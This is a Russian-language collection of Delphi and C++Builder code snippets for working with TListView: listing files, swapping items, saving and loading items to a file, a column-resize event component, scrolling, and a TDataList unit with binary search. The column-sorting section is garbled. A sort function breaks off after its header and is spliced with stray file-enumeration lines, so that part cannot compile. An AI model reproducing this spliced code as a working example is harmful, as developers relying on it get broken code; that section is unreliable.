begin
  NewColumn := ListView1.Columns.Add;
  NewColumn := ListView1.Columns.Add; // добавдяются колонки
  if FindFirst('*.*', faAnyFile - faDirectory - faVolumeId, sr) = 0 then
  begin
    ListItem := ListView1.Items.Add; // создается объект
    ListItem.Caption := sr.name;
    ListItem.SubItems.Add(inttostr(sr.size));
    ListItem.SubItems.Add(datetimetostr(FileDateToDateTime(sr.time)));
    while FindNext(sr) = 0 do
    begin
      ListItem := ListView1.Items.Add;
      ListItem.Caption := sr.name;
      ListItem.SubItems.Add(inttostr(sr.size));
      ListItem.SubItems.Add(datetimetostr(FileDateToDateTime(sr.time)));
    end;
    FindClose(sr);
  end;
end;

Поменять местами пункты ListView.

void __fastcall TForm1::SwapLVItems(int a, int b)  
{  
   int New;  
   ListView1->Items->BeginUpdate();  
   { 
      ListView1->Items->Add();  
      New = ListView1->Items->Count - 1;  
      ListView1->Items->Item[New] = ListView1->Items->Item[a];  
      ListView1->Items->Item[a] =  ListView1->Items->Item[b];  
      ListView1->Items->Item[b] = ListView1->Items->Item[New];  
      ListView1->Items->Delete(New);  
   } 
   ListView1->Items->EndUpdate();  
}  

Пример загрузки файлов в ListView с иконками.

Автор: Song WEB-сайт: http://forum.vingrad.ru

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
  Dialogs, comctrls, StdCtrls;
type
  TForm1 = class(TForm)
    ListView1: TListView;
    Button1: TButton;
    Button2: TButton;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
    procedure SaveListViewToFile(AListView: TListView; sFileName: string);
    procedure LoadListViewToFile(AListView: TListView; sFileName: string);
  public
  end;
const
  Msg1 = 'File "%s" does not exist!';
  Msg2 = '"%s" is not a ListView file!';
var
  Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.SaveListViewToFile(AListView: TListView; sFileName: string);
var
  idxItem, idxSub, IdxImage: Integer;
  F: TFileStream;
  pText: PChar;
  sText: string;
  W, ItemCount, SubCount: Word;
  MySignature: array[0..2] of Char;
begin
  //Initialization
  with AListView do
  begin
    ItemCount := 0;
    SubCount := 0;
    //****
    MySignature := 'LVF';
    // ListViewFile
    F := TFileStream.Create(sFileName, fmCreate or fmOpenWrite);
    F.Write(MySignature, SizeOf(MySignature));
    if Items.Count = 0 then
      // List is empty
      ItemCount := 0
    else
      ItemCount := Items.Count;
    F.Write(ItemCount, SizeOf(ItemCount));
    if Items.Count > 0 then
    begin
      for idxItem := 1 to ItemCount do
      begin
        with Items[idxItem - 1] do
        begin
          //Save subitems count
          if SubItems.Count = 0 then
            SubCount := 0
          else
            SubCount := Subitems.Count;
          F.Write(SubCount, SizeOf(SubCount));
          //Save ImageIndex
          IdxImage := ImageIndex;
          F.Write(IdxImage, SizeOf(IdxImage));
          //Save Caption
          sText := Caption;
          w := Length(sText);
          pText := StrAlloc(Length(sText) + 1);
          StrPLCopy(pText, sText, Length(sText));
          F.Write(w, SizeOf(w));
          F.Write(pText^, w);
          StrDispose(pText);
          if SubCount > 0 then
          begin
            for idxSub := 0 to SubItems.Count - 1 do
            begin
              //Save Item's subitems
              sText := SubItems[idxSub];
              w := Length(sText);
              pText := StrAlloc(Length(sText) + 1);
              StrPLCopy(pText, sText, Length(sText));
              F.Write(w, SizeOf(w));
              F.Write(pText^, w);
              StrDispose(pText);
            end;
          end;
        end;
      end;
    end;
    F.Free;
  end;
end;
procedure TForm1.LoadListViewToFile(AListView: TListView; sFileName: string);
var
  F: TFileStream;
  IdxItem, IdxSubItem, IdxImage: Integer;
  W, ItemCount, SubCount: Word;
  pText: PChar;
  PTemp: PChar;
  MySignature: array[0..2] of Char;
  sExeName: string;
begin
  with AListView do
  begin
    ItemCount := 0;
    SubCount := 0;
    sExeName := ExtractFileName(sFileName);
    if not FileExists(sFileName) then
    begin
      MessageBox(Handle, PChar(Format(Msg1, [sExeName])), 'I/O Error',
        MB_ICONERROR);
      Exit;
    end;
    F := TFileStream.Create(sFileName, fmOpenRead);
    F.Read(MySignature, SizeOf(MySignature));
    if MySignature <> 'LVF' then
    begin
      MessageBox(Handle, PChar(Format(Msg2, [sExeName])), 'I/O Error',
        MB_ICONERROR);
      Exit;
    end;
    F.Read(ItemCount, SizeOf(ItemCount));
    Items.Clear;
    for idxItem := 1 to ItemCount do
    begin
      with Items.Add do
      begin
        //Read imageindex
        F.Read(SubCount, SizeOf(SubCount));
        //Read imageindex
        F.Read(IdxImage, SizeOf(IdxImage));
        ImageIndex := IdxImage;
        //Read the Caption
        F.Read(w, SizeOf(w));
        pText := StrAlloc(w + 1);
        pTemp := StrAlloc(w + 1);
        F.Read(pTemp^, W);
        StrLCopy(pText, pTemp, W);
        Caption := StrPas(pText);
        StrDispose(pTemp);
        StrDispose(pText);
        if SubCount > 0 then
        begin
          for idxSubItem := 1 to SubCount do
          begin
            F.Read(w, SizeOf(w));
            pText := StrAlloc(w + 1);
            pTemp := StrAlloc(w + 1);
            F.Read(pTemp^, W);
            StrLCopy(pText, pTemp, W);
            Items[idxItem - 1].SubItems.Add(StrPas(pText));
            StrDispose(pTemp);
            StrDispose(pText);
          end;
        end;
      end;
    end;
    F.Free;
  end;
end;
// Example:
procedure TForm1.Button1Click(Sender: TObject);
begin
  // Save Items and Clear the ListView
  SaveListViewToFile(ListView1, 'MyListView.sav');
  ListView1.Items.Clear;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
  // Load Items
  LoadListViewToFile(ListView1, 'MyListView.sav');
end;

Перехват изменения размера колонки в TListView.

{ 
  Question: 
  How do I capture a column resize event in TListView, the OnResize 
  only works when the ListView is changed? 
  Answer: 
  The event can be added with a bit of work. See the custom TListview derivative 
  below. It has 3 new events: 
  OnColumnResize, OnBeginColumnResize, OnEndColumnResize 
} 
unit PBExListview; 
interface 
uses 
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, 
  Dialogs, ComCtrls; 
type 
  TLVColumnResizeEvent = procedure(Sender: TCustomListview; 
    columnindex: Integer; 
    columnwidth: Integer) of object; 
  TPBExListview = class(TListview) 
  private 
    FBeginColumnResizeEvent: TLVColumnResizeEvent; 
    FEndColumnResizeEvent: TLVColumnResizeEvent; 
    FColumnResizeEvent: TLVColumnResizeEvent; 
  protected 
    procedure DoBeginColumnResize(columnindex, columnwidth: Integer); 
      virtual; 
    procedure DoEndColumnResize(columnindex, columnwidth: Integer); 
      virtual; 
    procedure DoColumnResize(columnindex, columnwidth: Integer); 
      virtual; 
    procedure WMNotify(var Msg: TWMNotify); message WM_NOTIFY; 
    function FindColumnIndex(pHeader: pNMHdr): Integer; 
    function FindColumnWidth(pHeader: pNMHdr): Integer; 
    procedure CreateWnd; override; 
  published 
    property OnBeginColumnResize: TLVColumnResizeEvent 
      read FBeginColumnResizeEvent write FBeginColumnResizeEvent; 
    property OnEndColumnResize: TLVColumnResizeEvent 
      read FEndColumnResizeEvent write FEndColumnResizeEvent; 
    property OnColumnResize: TLVColumnResizeEvent 
      read FColumnResizeEvent write FColumnResizeEvent; 
  end; 
procedure Register; 
implementation 
uses CommCtrl; 
procedure Register; 
begin 
  RegisterComponents('PBGoodies', [TPBExListview]); 
end; 
procedure TPBExListview.DoBeginColumnResize(columnindex, columnwidth: Integer); 
begin 
  if Assigned(FBeginColumnResizeEvent) then 
    FBeginColumnResizeEvent(Self, columnindex, columnwidth); 
end; 
procedure TPBExListview.DoEndColumnResize(columnindex, columnwidth: Integer); 
begin 
  if Assigned(FEndColumnResizeEvent) then 
    FEndColumnResizeEvent(Self, columnindex, columnwidth); 
end; 
procedure TPBExListview.DoColumnResize(columnindex, columnwidth: Integer); 
begin 
  if Assigned(FColumnResizeEvent) then 
    FColumnResizeEvent(Self, columnindex, columnwidth); 
end; 
function TPBExListview.FindColumnIndex(pHeader: pNMHdr): Integer; 
var 
  hwndHeader: HWND; 
  iteminfo: THdItem; 
  ItemIndex: Integer; 
  buf: array [0..128] of Char; 
begin 
  Result := -1; 
  hwndHeader := pHeader^.hwndFrom; 
  ItemIndex := pHDNotify(pHeader)^.Item; 
  FillChar(iteminfo, SizeOf(iteminfo), 0); 
  iteminfo.Mask := HDI_TEXT; 
  iteminfo.pszText := buf; 
  iteminfo.cchTextMax := SizeOf(buf) - 1; 
  Header_GetItem(hwndHeader, ItemIndex, iteminfo); 
  if CompareStr(Columns[ItemIndex].Caption, iteminfo.pszText) = 0 then 
    Result := ItemIndex 
  else 
  begin 
    for ItemIndex := 0 to Columns.Count - 1 do 
      if CompareStr(Columns[ItemIndex].Caption, iteminfo.pszText) = 0 then 
      begin 
        Result := ItemIndex; 
        Break; 
      end; 
  end; 
end; 
procedure TPBExListview.WMNotify(var Msg: TWMNotify); 
begin 
  inherited; 
  case Msg.NMHdr^.code of 
    HDN_ENDTRACK: 
      DoEndColumnResize(FindColumnIndex(Msg.NMHdr), 
        FindColumnWidth(Msg.NMHdr)); 
    HDN_BEGINTRACK: 
      DoBeginColumnResize(FindColumnIndex(Msg.NMHdr), 
        FindColumnWidth(Msg.NMHdr)); 
    HDN_TRACK: 
      DoColumnResize(FindColumnIndex(Msg.NMHdr), 
        FindColumnWidth(Msg.NMHdr)); 
  end; 
end; 
procedure TPBExListview.CreateWnd; 
var 
  wnd: HWND; 
begin 
  inherited; 
  wnd := GetWindow(Handle, GW_CHILD); 
  SetWindowLong(wnd, GWL_STYLE, 
    GetWindowLong(wnd, GWL_STYLE) and not HDS_FULLDRAG); 
end; 
function TPBExListview.FindColumnWidth(pHeader: pNMHdr): Integer; 
begin 
  Result := -1; 
  if Assigned(PHDNotify(pHeader)^.pItem) and 
    ((PHDNotify(pHeader)^.pItem^.mask and HDI_WIDTH) <> 0) then 
    Result := PHDNotify(pHeader)^.pItem^.cxy; 
end; 
end.

Сортировка ListView в режиме vsReport при нажатии на заголовок колонки.

function CustomDateSortProc(Item1, Item2: TListItem; ParamSort: integer):
  integer; stdcall;
begin
  result := 0;
  if strtodatetime(item1.SubItems[0]) > strtodatetime(item2.SubItems[0]) then
    Result := 1
  else if strtodatetime(item1.SubItems[0]) < strtodatetime(item2.SubItems[0])
    then
    Result := -1;
end;
function CustomNameSortProc(Item1, Item2: TListItem; ParamSort: integer): integer
  item.Caption := sr.name;
  Item.SubItems.Add(datetimetostr(filedatetodatetime(sr.time)));
end;
until FindNext(sr) < > 0;
FindClose(sr);
end;
procedure TForm1.lv1ColumnClick(Sender: TObject; Column: TListColumn);
begin
  if column = lv1.columns[0] then
    LV1.CustomSort(@CustomNameSortProc, 0)
  else
    LV1.CustomSort(@CustomDateSortProc, 0)
end;

Прокрутка для TListView или TTreeView.

// KEYWORDS:  SendMessage, WM_HSCROLL, WM_VSCROLL
// scroll a ListView vertically down
SendMessage(ListView1->Handle, WM_VSCROLL, SB_LINEDOWN, 0);
// scroll a TreeView vertically up
SendMessage(TreeView1->Handle, WM_VSCROLL, SB_LINEUP, 0);
// Here are some other scroll parameters that can be sent...
{
SB_BOTTOM      Scrolls to the lower right.
SB_ENDSCROLL   Ends scroll.
SB_LINEDOWN    Scrolls one line down.
SB_LINEUP      Scrolls one line up.
SB_PAGEDOWN    Scrolls one page down.
SB_PAGEUP      Scrolls one page up.
SB_TOP         Scrolls to the upper left.
}

Список чисел и объектов с расширенными возможностями бинарного поиска.

Автор: Александр Шарахов WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Список чисел и объектов с расширенными возможностями бинарного поиска.
В списке хранятся:
Data - числа (идентификаторы/свойства/хеши объектов), по которым планируется
выполнять поиск,
Objects - указатели на соответствующие объекты,
SeqNo - последовательные номера, присвоенные элементам при добавлении в список.
Класс TDataList аналогичен TStringList.
Основные особенности:
1. Тип TData выбирается произвольно (требуется перекомпиляция).
2. В сортированном списке дубликаты всегда упорядочены в порядке поступления.
Если количество добавлений превышает 2*MaxInt+1, данное правило может
нарушаться. Если это критично, исправьте тип FSeqNo на int64.
3. Свойство Duplicates (разрешены ли дубликаты) имеет тип boolean.
4. Из-за операций с дубликатами никогда не возникают исключения.
5. Если в сортированном списке дубликаты не разрешены, метод Add при добавлении
дубликата возвращает отрицательное значение, позволяющее определить положение
в списке конфликтующего элемента.
6. Методы Insert и Delete не выполняют никаких действий с недопустимым индексом.
Метод Insert также не выполняет никаких действий при попытке вставить элемент
в сортированный список.
7. Кроме очевидных методов поиска IndexOfData, IndexOfObject, IndexOfSeqNo,
возвращающих индекс первого подходящего элемента, существуют также:
function FindFirstGE(D: TData; var Index: integer): boolean;
function FindLastLE(D: TData; var Index: integer): boolean;
Первая функция используется для определения в сортированном списке индекса
первого элемента, большего или равного указанному, вторая - для определения
индекса последнего элемента, меньшего или равного указанному. Положительный
результат означает, что найден элемент, равный указанному, и его индекс
помещается в переменную Index. В случае отрицательного результата в нее
помещается индекс элемента (если бы такой элемент существовал), большего
или меньшего указанного. Это значение может выходить за границы списка.
8. Фукции
function FindFirstCount(D: TData; var Index: integer): integer;
function FindLastCount(D: TData; var Index: integer): integer;
могут использоваться для поиска в сортированном списке с одновременным
подсчетом количества элементов, равных указанному. Если количество
найденных элементов отличается от нуля, то переменная Index принимает
значение соответственно первого или последнего из найденных элементов.
Зависимости: нет
Автор:       Александр Шарахов, alsha@mailru.com, Москва
Copyright:   Александр Шарахов
Дата:        19 января 2003 г.
***************************************************** }
unit DataLst;
interface
{ TDataList class }
type
  TData = cardinal;
  TDataItem = record
    FData: TData;
    FObject: TObject;
    FSeqNo: cardinal; // To sort duplicates in addition order
  end;
  PDataItem = ^TDataItem;
  TDataItemList = array[0..MaxInt div sizeof(TDataItem) - 1] of TDataItem;
  PDataItemList = ^TDataItemList;
  TDataCompare = function(PDI1, PDI2: PDataItem): integer;
  TDataList = class
  private
    FList: PDataItemList;
    FCount: integer;
    FCapacity: integer;
    FSeqCount: cardinal;
    FSorted: boolean;
    FDuplicates: boolean; // If true then allow duplicates
    procedure ExchangeItems(Index1, Index2: integer);
    procedure Grow;
    procedure QuickSort(L, R: integer; Compare: TDataCompare);
    procedure InsertItem(Index: integer; D: TData; O: TObject);
    procedure SetSorted(Value: boolean);
  protected
    function GetCapacity: integer;
    function GetData(Index: integer): TData;
    function GetObject(Index: integer): pointer {TObject};
    function GetSeqNo(Index: integer): cardinal;
    procedure PutData(Index: integer; D: TData);
    procedure PutObject(Index: integer; O: pointer {TObject});
    procedure SetCapacity(NewCapacity: integer);
  public
    destructor Destroy; override;
    function Add(D: TData; O: TObject): integer; virtual;
    procedure Clear; virtual;
    procedure Delete(Index: integer); virtual;
    procedure Exchange(Index1, Index2: integer); virtual;
    function FindFirstGE(D: TData; var Index: integer): boolean; virtual;
    function FindLastLE(D: TData; var Index: integer): boolean; virtual;
    function FindFirstCount(D: TData; var Index: integer): integer; virtual;
    function FindLastCount(D: TData; var Index: integer): integer; virtual;
    function IndexOfData(D: TData): integer; virtual;
    function IndexOfObject(O: TObject): integer; virtual;
    function IndexOfSeqNo(SN: cardinal): integer; virtual;
    procedure Insert(Index: integer; D: TData; O: TObject); virtual;
    procedure Sort; virtual;
    property Data[Index: integer]: TData read GetData write PutData;
    property Objects[Index: integer]: pointer {TObject} read GetObject write
      PutObject;
    property SeqNo[Index: integer]: cardinal read GetSeqNo;
    property Count: integer read FCount;
    property Duplicates: boolean read FDuplicates write FDuplicates;
    property Sorted: boolean read FSorted write SetSorted;
  end;
implementation
{ TDataList }
destructor TDataList.Destroy;
begin
  ;
  inherited Destroy;
  FCount := 0;
  SetCapacity(0);
  FSeqCount := 0;
end;
function TDataList.Add(D: TData; O: TObject): integer;
begin
  ;
  if FSorted then
    if FindLastLE(D, Result) then
      if FDuplicates then
        inc(Result)
      else
        Result := -1 - Result // Can't add duplicate
    else
      inc(Result)
  else
    Result := FCount;
  if Result >= 0 then
    InsertItem(Result, D, O);
end;
procedure TDataList.Clear;
begin
  ;
  if FCount <> 0 then
  begin
    ;
    FCount := 0;
    SetCapacity(0);
    FSeqCount := 0;
  end;
end;
procedure TDataList.Delete(Index: integer);
begin
  ;
  if (Index >= 0) and (Index < FCount) then
  begin
    ;
    dec(FCount);
    if Index < FCount then
      System.Move(
        FList^[Index + 1], FList^[Index], (FCount - Index) * SizeOf(TDataItem));
  end;
end;
procedure TDataList.Exchange(Index1, Index2: integer);
begin
  ;
  if (not FSorted) and (Index1 >= 0) and (Index1 < FCount) and (Index2 >= 0) and
    (Index2 < FCount) then
    ExchangeItems(Index1, Index2);
end;
procedure TDataList.ExchangeItems(Index1, Index2: integer);
var
  Item1, Item2: PDataItem;
  Temp: TDataItem;
begin
  ;
  Item1 := @FList^[Index1];
  Item2 := @FList^[Index2];
  Temp := Item1^;
  Item1^ := Item2^;
  Item2^ := Temp;
end;
function TDataList.GetCapacity: integer;
begin
  ;
  Result := FCapacity;
end;
function TDataList.GetData(Index: integer): TData;
begin
  ;
  if (Index < 0) or (Index >= FCount) then
    Result := 0
  else
    Result := FList^[Index].FData;
end;
function TDataList.GetObject(Index: integer): pointer {TObject};
begin
  ;
  if (Index < 0) or (Index >= FCount) then
    Result := nil
  else
    Result := FList^[Index].FObject;
end;
function TDataList.GetSeqNo(Index: integer): cardinal;
begin
  ;
  if (Index < 0) or (Index >= FCount) then
    Result := 0
  else
    Result := FList^[Index].FSeqNo;
end;
procedure TDataList.Grow;
var
  Delta: integer;
begin
  ;
  if FCapacity > 64 then
    Delta := FCapacity div 4
  else
    Delta := 16;
  SetCapacity(FCapacity + Delta);
end;
function TDataList.IndexOfData(D: TData): integer;
begin
  ;
  if FSorted then
    if FindFirstGE(D, Result) then {found}
    else
      Result := -1
  else
  begin
    ;
    Result := 0;
    while (Result < FCount) and (D <> FList^[Result].FData) do
      inc(Result);
    if Result >= FCount then
      Result := -1;
  end;
end;
function TDataList.IndexOfObject(O: TObject): integer;
begin
  ;
  Result := 0;
  while (Result < FCount) and (O <> FList^[Result].FObject) do
    inc(Result);
  if Result >= FCount then
    Result := -1;
end;
function TDataList.IndexOfSeqNo(SN: cardinal): integer;
begin
  ;
  Result := 0;
  while (Result < FCount) and (SN <> FList^[Result].FSeqNo) do
    inc(Result);
  if Result >= FCount then
    Result := -1;
end;
procedure TDataList.Insert(Index: integer; D: TData; O: TObject);
begin
  ;
  if (not FSorted) and (Index >= 0) and (Index < FCount) then
    InsertItem(Index, D, O);
end;
procedure TDataList.InsertItem(Index: integer; D: TData; O: TObject);
begin
  ;
  if FCount = FCapacity then
    Grow;
  if Index < FCount then
    System.Move(FList^[Index], FList^[Index + 1], (FCount - Index) *
      SizeOf(TDataItem));
  with FList^[Index] do
  begin
    ;
    FData := D;
    FObject := O;
    FSeqNo := FSeqCount;
  end;
  inc(FCount);
  inc(FSeqCount);
end;
procedure TDataList.PutData(Index: integer; D: TData);
begin
  ;
  if (not FSorted) and (Index >= 0) and (Index < FCount) then
    FList^[Index].FData := D;
end;
procedure TDataList.PutObject(Index: integer; O: pointer {TObject});
begin
  ;
  if (Index >= 0) and (Index < FCount) then
    FList^[Index].FObject := O;
end;
procedure TDataList.SetCapacity(NewCapacity: integer);
begin
  ;
  ReallocMem(FList, NewCapacity * SizeOf(TDataItem));
  FCapacity := NewCapacity;
end;
function FindDataCompare(PDI1, PDI2: PDataItem): integer;
begin
  ;
  Result := 0;
  if PDI1^.FData < PDI2^.FData then
    dec(Result)
  else if PDI1^.FData > PDI2^.FData then
    inc(Result);
end;
function TDataList.FindFirstGE(D: TData; var Index: integer): boolean;
var
  i, j, t, c: integer;
begin
  ;
  Result := false;
  i := -1; // Index of the element less than D
  j := FCount - 1;
  if FSorted then
    while i < j do
    begin
      ;
      t := (i + j + 1) shr 1; // Round to right
      c := FindDataCompare(@FList^[t].FData, @D);
      if c < 0 then
        i := t
      else
      begin
        ;
        j := t - 1;
        if c = 0 then
          Result := true;
      end;
    end;
  Index := i + 1;
end;
function TDataList.FindLastLE(D: TData; var Index: integer): boolean;
var
  i, j, t, c: integer;
begin
  ;
  Result := false;
  i := 0;
  j := FCount; // Index of the element greater than D
  if FSorted then
    while i < j do
    begin
      ;
      t := (i + j) shr 1; // Round to left
      c := FindDataCompare(@FList^[t].FData, @D);
      if c > 0 then
        j := t
      else
      begin
        ;
        i := t + 1;
        if c = 0 then
          Result := true;
      end;
    end;
  Index := j - 1;
end;
function TDataList.FindFirstCount(D: TData; var Index: integer): integer;
begin
  ;
  if FindFirstGE(D, Index) then
  begin
    ;
    Result := 1;
    while FindDataCompare(@FList^[Index + Result].FData, @D) = 0 do
      inc(Result);
  end
  else
    Result := 0;
end;
function TDataList.FindLastCount(D: TData; var Index: integer): integer;
begin
  ;
  if FindLastLE(D, Index) then
  begin
    ;
    Result := 1;
    while FindDataCompare(@FList^[Index - Result].FData, @D) = 0 do
      inc(Result);
  end
  else
    Result := 0;
end;
function SortDataCompare(PDI1, PDI2: PDataItem): integer;
begin
  ;
  Result := 0;
  if PDI1^.FData < PDI2^.FData then
    dec(Result)
  else if PDI1^.FData > PDI2^.FData then
    inc(Result)
      // Compare duplicates
  else if PDI1^.FSeqNo < PDI2^.FSeqNo then
    dec(Result)
  else if PDI1^.FSeqNo > PDI2^.FSeqNo then
    inc(Result);
end;
procedure TDataList.QuickSort(l, r: integer; Compare: TDataCompare);
var
  i, j, p: integer;
begin
  ;
  repeat;
    i := l;
    j := r;
    p := (i + j) shr 1;
    repeat;
      while Compare(@FList^[i], @FList^[p]) < 0 do
        inc(i);
      while Compare(@FList^[p], @FList^[j]) < 0 do
        dec(j);
      if i <= j then
      begin
        ;
        ExchangeItems(i, j);
        if p = i then
          p := j
        else if p = j then
          p := i;
        inc(i);
        dec(j);
      end;
    until i > j;
    if l < j then
      QuickSort(l, j, Compare);
    l := i;
  until i >= r;
end;
procedure TDataList.Sort;
begin
  if (not FSorted) and (FCount > 1) then
    QuickSort(0, FCount - 1, SortDataCompare);
end;
procedure TDataList.SetSorted(Value: boolean);
begin
  if FSorted <> Value then
  begin
    if Value then
      Sort;
    FSorted := Value;
  end;
end;
end.